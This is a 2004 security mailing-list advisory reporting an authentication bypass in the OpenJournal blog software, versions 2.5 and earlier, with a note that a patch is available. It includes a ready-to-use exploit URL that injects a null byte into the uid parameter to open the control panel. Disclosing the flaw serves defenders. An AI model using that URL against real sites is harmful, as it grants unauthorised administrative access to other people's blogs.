[EXPL] Open Journal Blog Authentication Bypassing Vulnerability

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To: list@securiteam.com
Date: 16 Feb 2004 11:31:04 +0200

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  Open Journal Blog Authentication Bypassing Vulnerability
------------------------------------------------------------------------

SUMMARY

" <http://www.grohol.com/downloads/oj/> OpenJournal is a completely
Web-based interface (say bye-bye to FTP, manual archiving, etc.). Features
include: automated file creation; automated index updating; editing of all
files through a Web-based interface; entries with or without titles and
time posted; automated archiving based on a weekly or monthly format. All
done through ordinary text files and no additional perl modules needed to
run it."

A vulnerability exists in OpenJournal which allows bypassing the
authentication scheme.

DETAILS

Vulnerable Systems:
 * OpenJournal version 2.5 or prior

Immune Systems:
 * OpenJournal version 2.6

The vulnerability stems from a problem in handling the uid parameter of
the URL. The following example can be used to directly access the control
panel:
http://www.test.com/cgi-bin/oj.cgi?db=default&uid=%00&userid=hacker&auth=adduser

Patch Availability:
A patch is already available on the web site which fixes this issue.

ADDITIONAL INFORMATION

The information has been provided by <mailto:trihuynh@zeeup.com> Tri
Huynh.

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